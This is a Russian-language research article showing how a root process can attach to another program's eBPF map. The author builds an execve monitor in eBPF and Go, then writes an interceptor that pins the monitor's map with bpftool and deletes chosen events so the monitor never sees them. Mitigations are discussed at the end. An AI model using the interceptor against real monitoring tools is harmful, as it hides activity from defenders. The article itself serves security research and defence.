Дисклеймер 1
Данная статья носит исключительно исследовательский характер. Моя цель - рассказать сообществу об архитектурных особенностях подсистемы eBPF в Linux.
Ведь для того чтобы эффективно защищать системы, необходимо знать об ограничениях используемых технологий.
Дисклеймер 2
Для чтения статьи надо уже быть знакомым с Linux и eBPF. Но если все еще интересно, то оставлю тут ссылку на то, как устроена эта технология.
Что происходит?
В последнее все чаще решения ИБ продуктов для мониторинга Linux систем переходят с kernel modules на eBPF.
Оно и понятно.
Поддержка модулей ядра для Linux - занятие крайне тяжелое. Коммьюнити не поддерживает API неизменным: количество дистрибутивов на рынке только увеличивается, и все пытаются привнести что-то свое в систему. А в итоге мы видим, как меняются системные вызовы, как структуры меняют свои размеры и смещения не только в зависимости от дистрибутива, но и от версии ядра.
Linux давно стал популярным для серверных корпоративных решений. Сегмент российских операционных систем строится на ядре Linux. Популярность растет, а с ней и потребность в ИТ и ИБ продуктах.
И тут на каждом углу начинают кричать о eBPF, как о способе, решающем все проблемы с совместимостью, безопасностью и тд.
Маркетинг кричит
eBPF - это:
безопасность ядра благодаря верификатору и изолированности технологии;
легкая поддержка относительно модулей ядра;
удобные библиотеки на C++, Go, Python, Rust для совместного использования;
кроссдистрибутивность за счет CO-RE (с нюансами: зависимость от BTF-информации ядра, проблемы со старыми ядрами <5.2, об этом однажды выйдет полноценная статья).
А я дополню
eBPF - это также:
видимость активности ядра из пользовательского пространства — даже без глубоких знаний об архитектуре eBPF и Linux;
низкий порог входа для реализации базовых сценариев компрометации;
отсутствие изоляции данных между привилегированными процессами.
Звучит уже не так сказочно, правда?
Для демонстрации простого примера уязвимости напишем две программы: монитор старта процессов (eBPF + Go) и программу перехватчик (только Go).
При желании можно повторить тоже самое на С++/Python/Rust. Вкусовщина.
Go выбран из-за удобной библиотеки и скорости разработки, так как пример демонстрационный.
Напишем программу мониторинга
Я не буду писать о том, как связать Go и eBPF, иначе статья разрастется. Но оставлю ссылку на туториал тут и в конце статьи.
Программа будет состоять из двух частей:
eBPF-модуль, посылающий данные о каждом системном вызове
execve;программа в пространстве пользователя на Go, отвечающая за загрузку байт-кода eBPF-модуля в ядро и за получение данных.
eBPF-модуль
Напишем eBPF-модуль, подключающийся к tracepoint для мониторинга системного вызова execve.
Не забываем про //go:build ignore в начале файла execve_monitoring.c для того, чтобы сборщик Go не пытался собрать C код.
//go:build ignore
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
#define MAX_PATH 256
#define TASK_COMM_LEN 16
// Структура, которую мы будем передавать в пользовательское пространство
struct start_ps_event {
__u32 pid;
char cmd[TASK_COMM_LEN];
char filename[MAX_PATH];
} __attribute__((packed));
// Наша мапа, через которую мы будем все передавать
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 1024);
__type(key, __u32);
__type(value, struct start_ps_event);
} ps_info SEC(".maps");
// определение системной структуры данных
// приходит вместе с уведомлением о старте процесса
struct syscalls_enter_execve_args {
unsigned short common_type;
unsigned char common_flags;
unsigned char common_preempt_count;
int common_pid;
int __syscall_nr;
const char *filename;
const char *const *argv;
const char *const *envp;
};
// Основная функция мониторинга
SEC("tracepoint/syscalls/sys_enter_execve")
int GetStartedPid(struct syscalls_enter_execve_args* ctx) {
struct start_ps_event event = {};
// Получаем PID и имя команды
event.pid = bpf_get_current_pid_tgid() >> 32;
bpf_get_current_comm(event.cmd, sizeof(event.cmd));
// Читаем путь к исполняемому файлу
bpf_probe_read_user_str(event.filename, sizeof(event.filename), ctx->filename);
// Используем PID в качестве ключа мапы, чтобы события не перезаписывали друг друга
__u32 key = event.pid;
bpf_printk("BPF PRINT: process %s started\n", event.cmd);
// Записываем структуру в мапу
long res = bpf_map_update_elem(&ps_info, &key, &event, BPF_ANY);
return 0;
}
char _license[] SEC("license") = "GPL";
Go-часть
Наш main.goделает минимум: загружает байт-код программы execve_monitoring.c в ядро. Ожидает, получает, считывает данные из мапы и выводит их с временными метками в терминал.
package main
import (
"bytes"
"fmt"
"log"
"os"
"os/signal"
"syscall"
"time"
"github.com/cilium/ebpf/link"
"github.com/cilium/ebpf/rlimit"
)
// Структура должна быть аналогичной нашей start_ps_event из execve_monitoring.c
// Должны совпадать и порядок, и типы, и размеры
type StartPSEvent struct {
Pid uint32
Cmd [16]byte
Filename [256]byte
}
func GetStrFromBytes(b []byte) string {
if idx := bytes.IndexByte(b, 0); idx != -1 {
return string(b[:idx])
}
return string(b)
}
func main() {
if err := rlimit.RemoveMemlock(); err != nil {
log.Fatalf("Failed to remove memlock: %v", err)
}
// Загружаем eBPF объекты напрямую в ядро
objs := ps_start_hashObjects{}
if err := loadPs_start_hashObjects(&objs, nil); err != nil {
log.Fatalf("Failed to load eBPF objects: %v", err)
}
defer objs.Close()
// Подключаемся к tracepoint
tp, err := link.Tracepoint("syscalls", "sys_enter_execve", objs.GetStartedPid, nil)
if err != nil {
log.Fatalf("Failed to attach tracepoint: %v", err)
}
defer tp.Close()
fmt.Println("eBPF program running and polling Hash Map...")
sigChan := make(chan os.Signal, 1)
signal.Notify(sigChan, os.Interrupt, syscall.SIGTERM)
stopChan := make(chan struct{})
// Запускаем периодическое чтение из нашей мапы
go func() {
for {
select {
case <-stopChan:
return
default:
var (
key uint32
nextKey uint32
)
var keysToProcess []uint32
// Собираем все текущие ключи из мапы
err := objs.PsInfo.NextKey(nil, &nextKey)
for err == nil {
key = nextKey
keysToProcess = append(keysToProcess, key)
err = objs.PsInfo.NextKey(key, &nextKey)
}
// Если карта пуста, ждем 10мс и проверяем снова
if len(keysToProcess) == 0 {
time.Sleep(10 * time.Millisecond)
continue
}
// пусть тут происходит какая-то работа
time.Sleep(1 * time.Millisecond)
// Перебираем собранные ключи, читаем данные и сразу удаляем
var e StartPSEvent
for _, k := range keysToProcess {
if lookupErr := objs.PsInfo.Lookup(k, &e); lookupErr == nil {
log.Printf("Execve: PID=%d, Process=%s, File=%s\n",
e.Pid,
GetStrFromBytes(e.Cmd[:]),
GetStrFromBytes(e.Filename[:]),
)
// Удаляем элемент, чтобы освободить место для новых событий ядра
if delErr := objs.PsInfo.Delete(k); delErr != nil {
log.Printf("Warning: failed to delete key %d: %v", k, delErr)
}
}
}
// Короткая пауза между итерациями
time.Sleep(5 * time.Millisecond)
}
}
}()
<-sigChan
close(stopChan)
fmt.Println("Shutting down...")
}
Запустим нашу программу и увидим в терминале вывод данных обо всех вызовах execve в системе с именами файлов, pid и именем процесса.
just_me@just_me:~/go_ebpf_ps_start$ go build && sudo ./hash
[sudo] password for just_me:
eBPF program running and polling Hash Map...
Execve: PID=256619, Process=code, File=/bin/sh
Execve: PID=256621, Process=code, File=/bin/sh
Execve: PID=256622, Process=sh, File=/usr/bin/ps
Execve: PID=256620, Process=sh, File=/usr/bin/which
Execve: PID=256627, Process=cpuUsage.sh, File=/usr/bin/cat
Execve: PID=256623, Process=code, File=/bin/sh
Execve: PID=256624, Process=sh, File=/snap/code/195/usr/share/code/resources/app/out/vs/base/node/cpuUsage.sh
Execve: PID=256629, Process=cpuUsage.sh, File=/usr/bin/cat
Execve: PID=256625, Process=cpuUsage.sh, File=/usr/bin/sed
Execve: PID=256626, Process=cpuUsage.sh, File=/usr/bin/cat
Execve: PID=256628, Process=cpuUsage.sh, File=/usr/bin/cat
Execve: PID=256630, Process=cpuUsage.sh, File=/usr/bin/sleep
Execve: PID=256632, Process=cpuUsage.sh, File=/usr/bin/cat
Execve: PID=256631, Process=cpuUsage.sh, File=/usr/bin/sed
Execve: PID=256638, Process=cpuUsage.sh, File=/usr/bin/cat
Execve: PID=256634, Process=cpuUsage.sh, File=/usr/bin/cat
Execve: PID=256636, Process=cpuUsage.sh, File=/usr/bin/cat
Execve: PID=256641, Process=code, File=/bin/sh
Execve: PID=256642, Process=sh, File=/usr/bin/which
Execve: PID=256643, Process=code, File=/bin/sh
Execve: PID=256644, Process=sh, File=/usr/bin/ps
Execve: PID=256649, Process=cpuUsage.sh, File=/usr/bin/cat
Execve: PID=256646, Process=sh, File=/snap/code/195/usr/share/code/resources/app/out/vs/base/node/cpuUsage.sh
Execve: PID=256645, Process=code, File=/bin/sh
Execve: PID=256650, Process=cpuUsage.sh, File=/usr/bin/cat
Execve: PID=256652, Process=cpuUsage.sh, File=/usr/bin/sleep
Execve: PID=256647, Process=cpuUsage.sh, File=/usr/bin/sed
Execve: PID=256651, Process=cpuUsage.sh, File=/usr/bin/cat
Execve: PID=256648, Process=cpuUsage.sh, File=/usr/bin/cat
...Супер, мониторинг работает. Значит можно переходить к интересному.
Как получить все, что нужно для чтения нашей eBPF map из стороннего приложения?
Если вы никогда не работали с eBPF сначала устанавливаем необходимый инструментарий
sudo apt update
sudo apt install linux-tools-common linux-tools-generic linux-tools-$(uname -r)
sudo apt install bpftoolПримечание
Для предыдущего пункта он тоже нужен, но моя задача показать, насколько просто воспользоваться данной уязвимостью с нуля
Выполняем следующую команду
sudo bpftool map listВидим результат - список всех открытых eBPF-map в системе и некоторая информация о них.
just_me@just_me:/~$ sudo bpftool map list
1: hash flags 0x0
key 9B value 1B max_entries 500 memlock 46432B
2: hash flags 0x0
key 9B value 1B max_entries 500 memlock 46432B
4: hash flags 0x0
key 9B value 1B max_entries 500 memlock 46432B
5: hash name s_libreoffice_h flags 0x0
key 9B value 1B max_entries 1000 memlock 90624B
133: hash name s_firmware_upda flags 0x0
key 9B value 1B max_entries 1000 memlock 90624B
138: hash name s_mesa_2404_hoo flags 0x0
key 9B value 1B max_entries 1000 memlock 90624B
139: hash name s_chromium_hook flags 0x0
key 9B value 1B max_entries 1000 memlock 90624B
178: array name .rodata flags 0x480
key 4B value 31B max_entries 1 memlock 8192B
btf_id 437 frozen
179: hash name ps_info flags 0x0
key 4B value 276B max_entries 1024 memlock 365856B
btf_id 438Теперь разберемся, какую именно информацию о нашей мапе можно забрать из этого вывода.
Для этого взглянем еще раз на описание нашей структуры из файла execve_monitor.c
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 1024);
__type(key, __u32);
__type(value, struct start_ps_event);
} ps_info SEC(".maps");А теперь приглядитесь к строке 19 результатов команды sudo bpftool map list
Что видим в терминале? | Что это на самом деле? |
| точное имя нашей структуры общения с пространством пользователя |
| используемый нами тип мапы, от которого напрямую зависит способ получения и разбора приходящих данных (в |
| идентификатор нашей мапы, знание которого нам и позволит в дальнейшем к ней подключиться. |
Кажется, чего-то не хватает...
О нет! Как читать бинарные данные, когда нет вида приходящей структуры?
К сожалению, не так сложно. Тут стоит напомнить про реверс-инжиниринг.
Восстановление структуры зависит от флагов сборки, наличия отладочной информации и языка реализации. Но в нашей демонстрационном бинарнике на Go без stripping статический анализ (Ghidra/IDA) быстро выдаёт смещения и имена полей.
В production-сборках задача усложняется: оптимизации, кастомная сериализация или отсутствие символов потребуют динамического анализа и ручной реконструкции. Тем не менее, барьер входа остаётся существенно ниже, чем при реверсе kernel modules.
У нас все есть, теперь пишем перехватчик
Для того, чтобы получить доступ к чужой eBPF мапе нужно закрепить ее в пространстве пользователя.
Это делается простой командой
sudo bpftool map pin id 179 /sys/fs/bpf/my_shared_mapПользуемся id, который мы получили в прошлом разделе.
Место и название закрепления мапы не принципиально, просто надо запомнить путь, в программе перехватчике он нам пригодится.
Посмотрите еще раз на вывод мониторинга до подключения перехватчика. Заметно достаточно много вызовов с именем процесса cpuUsage.sh
Наш перехватчик миролюбивый, поэтому настроим его на фильтрацию спама от cpuUsage.sh
Перейдем к коду перехватчика. Тут только Go часть, eBPF нам не нужен.
package main
import (
"bytes"
"log"
"time"
"github.com/cilium/ebpf"
)
// Восстановили структуру из Ghidra и пользуемся ей
type StartPSEvent struct {
Pid uint32
Cmd [16]byte
Filename [256]byte
}
func GetStrFromBytes(b []byte) string {
if idx := bytes.IndexByte(b, 0); idx != -1 {
return string(b[:idx])
}
return string(b)
}
func main() {
mapPath := "/sys/fs/bpf/my_shared_map"
m, err := ebpf.LoadPinnedMap(mapPath, nil)
if err != nil {
log.Fatalf("Не удалось открыть карту: %v", err)
}
defer m.Close()
log.Println("Успешно подключились к мапею Начинаем чтение...")
for {
var (
key uint32
nextKey uint32
)
var keysToProcess []uint32
err := m.NextKey(nil, &nextKey)
for err == nil {
key = nextKey
keysToProcess = append(keysToProcess, key)
err = m.NextKey(key, &nextKey)
}
if len(keysToProcess) == 0 {
time.Sleep(10 * time.Millisecond)
continue
}
// Перебираем собранные ключи, читаем данные и удаляем элементы
var value StartPSEvent
for _, k := range keysToProcess {
if lookupErr := m.Lookup(k, &value); lookupErr == nil {
filename := GetStrFromBytes(value.Filename[:])
cmd := GetStrFromBytes(value.Cmd[:])
// Фильтруем процессы по имени
if cmd != "cpuUsage.sh" {
continue
}
log.Printf("ID ключа: %d | PID процесса: %d, Имя файла: %s, cmd: %s", k, value.Pid, filename, cmd)
// Теперь удаляем из мапы запись о процессе с именем cpuUsage.sh
if delErr := m.Delete(k); delErr != nil {
log.Printf("Предупреждение: не удалось удалить ключ %d (возможно, процесс уже удален): %v", k, delErr)
}
}
}
// Небольшая пауза после обработки пачки, чтобы дать ядру заполнить мапу
time.Sleep(5 * time.Millisecond)
}
}
Запустили мониторинг, подключили перехватчик. Теперь посмотрим на их вывод:
Вывод перехватчика
2026/05/30 17:58:07 Успешно подключились к мапе. Начинаем чтение...
2026/05/30 17:58:07 ID ключа: 258667 | PID процесса: 258667, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh
2026/05/30 17:58:07 ID ключа: 258666 | PID процесса: 258666, Имя файла: /usr/bin/sed, cmd: cpuUsage.sh
2026/05/30 17:58:08 ID ключа: 258675 | PID процесса: 258675, Имя файла: /usr/bin/sed, cmd: cpuUsage.sh
2026/05/30 17:58:08 ID ключа: 258676 | PID процесса: 258676, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh
2026/05/30 17:58:08 ID ключа: 258677 | PID процесса: 258677, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh
2026/05/30 17:58:08 ID ключа: 258678 | PID процесса: 258678, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh
2026/05/30 17:58:08 ID ключа: 258679 | PID процесса: 258679, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh
2026/05/30 17:58:08 ID ключа: 258680 | PID процесса: 258680, Имя файла: /usr/bin/sleep, cmd: cpuUsage.sh
2026/05/30 17:58:09 ID ключа: 258681 | PID процесса: 258681, Имя файла: /usr/bin/sed, cmd: cpuUsage.sh
2026/05/30 17:58:09 ID ключа: 258682 | PID процесса: 258682, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh
2026/05/30 17:58:09 ID ключа: 258684 | PID процесса: 258684, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh
2026/05/30 17:58:09 ID ключа: 258686 | PID процесса: 258686, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh
2026/05/30 17:58:09 ID ключа: 258688 | PID процесса: 258688, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh
2026/05/30 17:58:09 ID ключа: 258696 | PID процесса: 258696, Имя файла: /usr/bin/sed, cmd: cpuUsage.shСудя по логам, перехватчик был подключен к мапе 2026/05/30 17:58:07.
Напоминаю, что заранее он был настроен на фильтрацию процессов с именем cpuUsage.sh
Вывод программы мониторинга execve
Теперь посмотрим как менялся вывод нашего мониторинга в процессе его работы при включении перехватчика:
2026/05/30 17:58:05 Execve: PID=258632, Process=cpuUsage.sh, File=/usr/bin/cat
2026/05/30 17:58:05 Execve: PID=258627, Process=code, File=/bin/sh
2026/05/30 17:58:05 Execve: PID=258629, Process=cpuUsage.sh, File=/usr/bin/sed
2026/05/30 17:58:05 Execve: PID=258630, Process=cpuUsage.sh, File=/usr/bin/cat
2026/05/30 17:58:05 Execve: PID=258633, Process=cpuUsage.sh, File=/usr/bin/cat
2026/05/30 17:58:05 Execve: PID=258634, Process=cpuUsage.sh, File=/usr/bin/sleep
2026/05/30 17:58:05 Execve: PID=258631, Process=cpuUsage.sh, File=/usr/bin/cat
2026/05/30 17:58:05 Execve: PID=258628, Process=sh, File=/snap/code/195/usr/share/code/resources/app/out/vs/base/node/cpuUsage.sh
2026/05/30 17:58:06 Execve: PID=258638, Process=cpuUsage.sh, File=/usr/bin/sed
2026/05/30 17:58:06 Execve: PID=258639, Process=cpuUsage.sh, File=/usr/bin/cat
2026/05/30 17:58:06 Execve: PID=258643, Process=cpuUsage.sh, File=/usr/bin/cat
2026/05/30 17:58:06 Execve: PID=258645, Process=cpuUsage.sh, File=/usr/bin/cat
2026/05/30 17:58:06 Execve: PID=258641, Process=cpuUsage.sh, File=/usr/bin/cat
2026/05/30 17:58:06 Execve: PID=258648, Process=code, File=/bin/sh
2026/05/30 17:58:06 Execve: PID=258649, Process=sh, File=/usr/bin/which
2026/05/30 17:58:06 Execve: PID=258651, Process=sh, File=/usr/bin/ps
2026/05/30 17:58:06 Execve: PID=258650, Process=code, File=/bin/sh
2026/05/30 17:58:06 Execve: PID=258655, Process=cpuUsage.sh, File=/usr/bin/sed
2026/05/30 17:58:06 Execve: PID=258654, Process=sh, File=/snap/code/195/usr/share/code/resources/app/out/vs/base/node/cpuUsage.sh
2026/05/30 17:58:06 Execve: PID=258653, Process=code, File=/bin/sh
2026/05/30 17:58:06 Execve: PID=258656, Process=cpuUsage.sh, File=/usr/bin/cat
2026/05/30 17:58:06 Execve: PID=258657, Process=cpuUsage.sh, File=/usr/bin/sleep
2026/05/30 17:58:07 Execve: PID=258659, Process=bash, File=/usr/bin/sudo
2026/05/30 17:58:07 Execve: PID=258661, Process=sudo, File=./block
2026/05/30 17:58:08 Execve: PID=258669, Process=code, File=/bin/sh
2026/05/30 17:58:08 Execve: PID=258670, Process=sh, File=/usr/bin/which
2026/05/30 17:58:08 Execve: PID=258672, Process=sh, File=/usr/bin/ps
2026/05/30 17:58:08 Execve: PID=258671, Process=code, File=/bin/sh
2026/05/30 17:58:08 Execve: PID=258674, Process=sh, File=/snap/code/195/usr/share/code/resources/app/out/vs/base/node/cpuUsage.sh
2026/05/30 17:58:08 Execve: PID=258673, Process=code, File=/bin/sh
2026/05/30 17:58:09 Execve: PID=258690, Process=code, File=/bin/sh
2026/05/30 17:58:09 Execve: PID=258691, Process=sh, File=/usr/bin/which
2026/05/30 17:58:09 Execve: PID=258693, Process=sh, File=/usr/bin/ps
2026/05/30 17:58:09 Execve: PID=258692, Process=code, File=/bin/sh2026/05/30 17:58:05 - 2026/05/30 17:58:06 - первая и последняя запись о системном вызове execve для cpuUsage.sh
2026/05/30 17:58:07 - с этого момента события о cpuUsage.sh есть в системе, eBPF программа их фиксирует, но видим мы их только в программе перехватчике.
Монитор эти события больше не получает.
Ура! Mы получили возможность перехватывать события мониторинга, используя только базовый реверс инжениринг, Go и пару команд терминала.
В коде пользовательской части мониторинга можно увидеть присутствие задержки в 1 миллисекунду перед чтением из мапы.
// пусть тут происходит какая-то работа
time.Sleep(1 * time.Millisecond)Это сделано намеренно для того, чтобы показать возможность фильтрации и не демонстрировать в логах гонку перехватчика и мониторинга.
Эта ситуация — классический пример race condition на уровне потребления событий безопасности. Кто первый успел прочитать и удалить запись из мапы, тот и получил данные.
Если задержку в примере убрать, то и тот и другой будут получать события, но перехватчик и монитор иногда будут бороться за удаление событий из общей мапы, что отразится в логах как ошибка удаления несуществующего элемента.
Демонстрация собрана на: Linux 6.11.0-26-generic, Go go1.23.4 linux/amd64, libbpf/cilium-ebpf последней стабильной версии.
На старых ядрах (<5.8) поведение может отличаться.
Что мы наблюдаем?
Весь этот пример — прямое следствие отсутствия разграничения прав доступа между процессами при работе с eBPF-мапами. В модели Linux, где root един, любой привилегированный процесс получает доступ ко всем ресурсам ядра, включая каналы передачи данных мониторинга.
Как бороться с уязвимостью map?
Скажу сразу: в production-средах не все так плохо, как показано в статье
Тут приведен упрощенный пример работы с eBPF. Условия для использования против пользователя этой уязвимости в продуктах будут сложнее.
Но проблема всё-таки есть, и она явно не исследована до конца.
Поэтому вопрос защиты дискуссионный и зачастую будет сводиться к компромиссам. Готовых решений и статей по этому вопросу я пока не нашла (если они есть, прошу оставить ссылки в комментариях). Поэтому в этом разделе поделюсь своим видением вариантов решения проблемы.
Нулевой вариант или необходимая практика
В статье пример мапы типа hash, у нее свой механизм. Работа с array, ring buffer и тд, будет отличаться, где‑то не будет доступно такое простое удаление, где‑то не будет дубляжа событий для разных процессов.
От типа мапы многое зависит, и его стоит выбирать под нужды проекта. Вот документация по мапам.
Также в статье не рассматривался вопрос с правами доступа. В eBPF есть механизмы защиты для map ‑, например, флаг доступа BPF_F_RDONLY_PROG. Но он может лишь немного усложнить жизнь злоумышленнику. Для перехвата необходимо будет писать и eBPF программу.
Также есть sysctl параметр, который отвечает за возможность загрузки eBPF кода в зависимости от его уровня привилегий. Чтобы узнать его значение в терминале введите следующее:
sysctl kernel.unprivileged_bpf_disabledЕсли = 1 — обычный пользователь не сможет загрузить eBPF программу;
Если = 0 — (дефолт во многих дистрибутивах) — не root тоже может пользоваться механизмом;
Если = 2 — тоже, что и 1, но запрещает изменение самого параметра не-привилегированным пользователям.
Если ваше решение не устанавливает явные флаги доступа (BPF_F_RDONLY_PROG) и не контролирует pinning, оно по умолчанию доверяет любому процессу с правами root в системе.
Первый вариант
Не использовать eBPF в продуктовых средах. Но это плохой вариант.
Хоть eBPF и BPF были созданы для локального мониторинга, несмотря на явные недостатки для продуктового использования, есть и явные преимущества. Они касаются более простой поддержки, стабильного API, BTF, позволяющего избегать использование структур ядра нативно. А аналогов пока нет.
Второй вариант
Этот вариант на практике не проверялся. Дальше лишь мои предположения.
Можно комбинировать kernel modules/LSM с eBPF для защиты мапы.
Основной код мониторинга будет оставаться более переносимым. В поддержке под ядра будет нуждаться (относительно) малая часть, ответственная за защиту подключения к мапе.
Небольшое заключение
На самом деле eBPF представляет большой интерес как практический, так и исследовательский.
Интересно, как дальше будет развиваться этот механизм с учетом того, как сейчас его активно используют в production-средах, что eBPF давно перестал быть только продвинутым инструментом SRE/DevOps/Администраторов и тд, возможно его ждут архитектурные изменения.
А нам остается только наблюдать и подстраиваться.
Статья основана на личном исследовании. Критика и дополнения в комментариях приветствуются























